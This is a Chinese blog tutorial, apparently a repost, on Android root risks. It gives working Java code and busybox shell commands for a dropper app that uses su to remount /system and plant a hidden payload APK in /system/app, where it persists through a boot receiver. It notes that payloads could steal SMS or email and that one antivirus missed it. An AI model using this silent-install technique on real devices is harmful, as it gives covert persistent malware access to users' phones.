android 安全---root1

本文演示了如何利用已root的Android手机及BusyBox实现恶意软件的静默安装,通过将恶意APK包安装到system/app目录,即便重启设备也能生效。文章还讨论了潜在的防御措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前提:你有一部已经root的android手机,并且手机中有busybox和superuser

导读:本文介绍一种简单的病毒以及如何“防御”。

写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!

这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。

虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。

有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。

我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?

好吧,我们先来一次“静默安装”!

原理很简单,基本上相当于把apk push到手机里面,两个选择

data/app

system/app

如果我是病毒软件,我肯定选择push到system/app

我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)

首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。

real.apk里有一个receiver,用来监听开机的广播

Xml代码 复制代码 收藏代码
  1. android.intent.action.BOOT_COMPLETED
android.intent.action.BOOT_COMPLETED

还有一个activity,没有什么实质内容,然后编译出apk,待用。

下面来制作壳子

新建一个android工程,将之前的real.apk复制到assets目录下

然后新建一个activity来测试

这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的

Java代码 复制代码 收藏代码
  1. prepareButton.setOnClickListener(newView.OnClickListener(){
  2. publicvoidonClick(Viewv){
  3. FiledataFolder=getFilesDir();
  4. Filejar=newFile(dataFolder.getAbsolutePath()+"/real.apk");
  5. copyFile("real.apk",jar,mResources);
  6. }
  7. });
prepareButton.setOnClickListener(new View.OnClickListener() {
	public void onClick(View v) {
		File dataFolder = getFilesDir();
                File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
                copyFile("real.apk", jar, mResources);
	}
});

其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码

Java代码 复制代码 收藏代码
  1. InputStreammyInput=null;
  2. try
  3. myInput=resources.getAssets().open(filePath);
  4. ……
  5. catch
  6. ……
  7. finally
  8. ……
InputStream myInput = null;
try
    myInput = resources.getAssets().open(filePath);
    ……
catch
……
finally
……

第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。

这里需要使用到busybox,命令如下

Shell代码 复制代码 收藏代码
  1. busyboxmount-oremount,rw/system
  2. busyboxcp/data/data/com.example.fake/files/real.apk/system/app/real.apk
  3. busyboxrm/data/data/com.example.fake/files/real.apk
busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk

之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)

当然superuser需要同意你使用root权限

至此,你的入侵行为已经全部完成!

Java代码 复制代码 收藏代码
  1. installButton.setOnClickListener(newView.OnClickListener(){
  2. publicvoidonClick(Viewv){
  3. StringpackageName=getPackageName();
  4. String[]commands={"busyboxmount-oremount,rw/system",
  5. "busyboxcp/data/data/"+packageName+"/files/real.apk/system/app/real.apk",
  6. "busyboxrm/data/data/"+packageName+"/files/real.apk"};
  7. Processprocess=null;
  8. DataOutputStreamdataOutputStream=null;
  9. try{
  10. process=Runtime.getRuntime().exec("su");
  11. dataOutputStream=newDataOutputStream(process.getOutputStream());
  12. intlength=commands.length;
  13. for(inti=0;i<length;i++){
  14. Log.e(TAG,"commands["+i+"]:"+commands[i]);
  15. dataOutputStream.writeBytes(commands[i]+"\n");
  16. }
  17. dataOutputStream.writeBytes("exit\n");
  18. dataOutputStream.flush();
  19. process.waitFor();
  20. }catch(Exceptione){
  21. Log.e(TAG,"copyfail",e);
  22. }finally{
  23. try{
  24. if(dataOutputStream!=null){
  25. dataOutputStream.close();
  26. }
  27. process.destroy();
  28. }catch(Exceptione){
  29. }
  30. }
  31. }
  32. });
  33. }
installButton.setOnClickListener(new View.OnClickListener() {
		public void onClick(View v) {
			String packageName = getPackageName();
			String[] commands = {"busybox mount -o remount,rw /system",
                                 "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
                                 "busybox rm /data/data/" + packageName + "/files/real.apk"};
			Process process = null;
			DataOutputStream dataOutputStream = null;

			try {
				process = Runtime.getRuntime().exec("su");
				dataOutputStream = new DataOutputStream(process.getOutputStream());
				int length = commands.length;
				for (int i = 0; i < length; i++) {
					Log.e(TAG, "commands[" + i + "]:" + commands[i]);
					dataOutputStream.writeBytes(commands[i] + "\n");
				}
				dataOutputStream.writeBytes("exit\n");
				dataOutputStream.flush();
				process.waitFor();
			} catch (Exception e) {
				Log.e(TAG, "copy fail", e);
			} finally {
				try {
					if (dataOutputStream != null) {
						dataOutputStream.close();
					}
					process.destroy();
				} catch (Exception e) {
				}
			}
		}
	});
}

重启手机之后,real.apk就能工作了,它会接收到开机广播

如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的

real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。

如何防御?!

我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!

我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)

大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

转自:

http://su1216.iteye.com/

http://blog.youkuaiyun.com/su1216/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值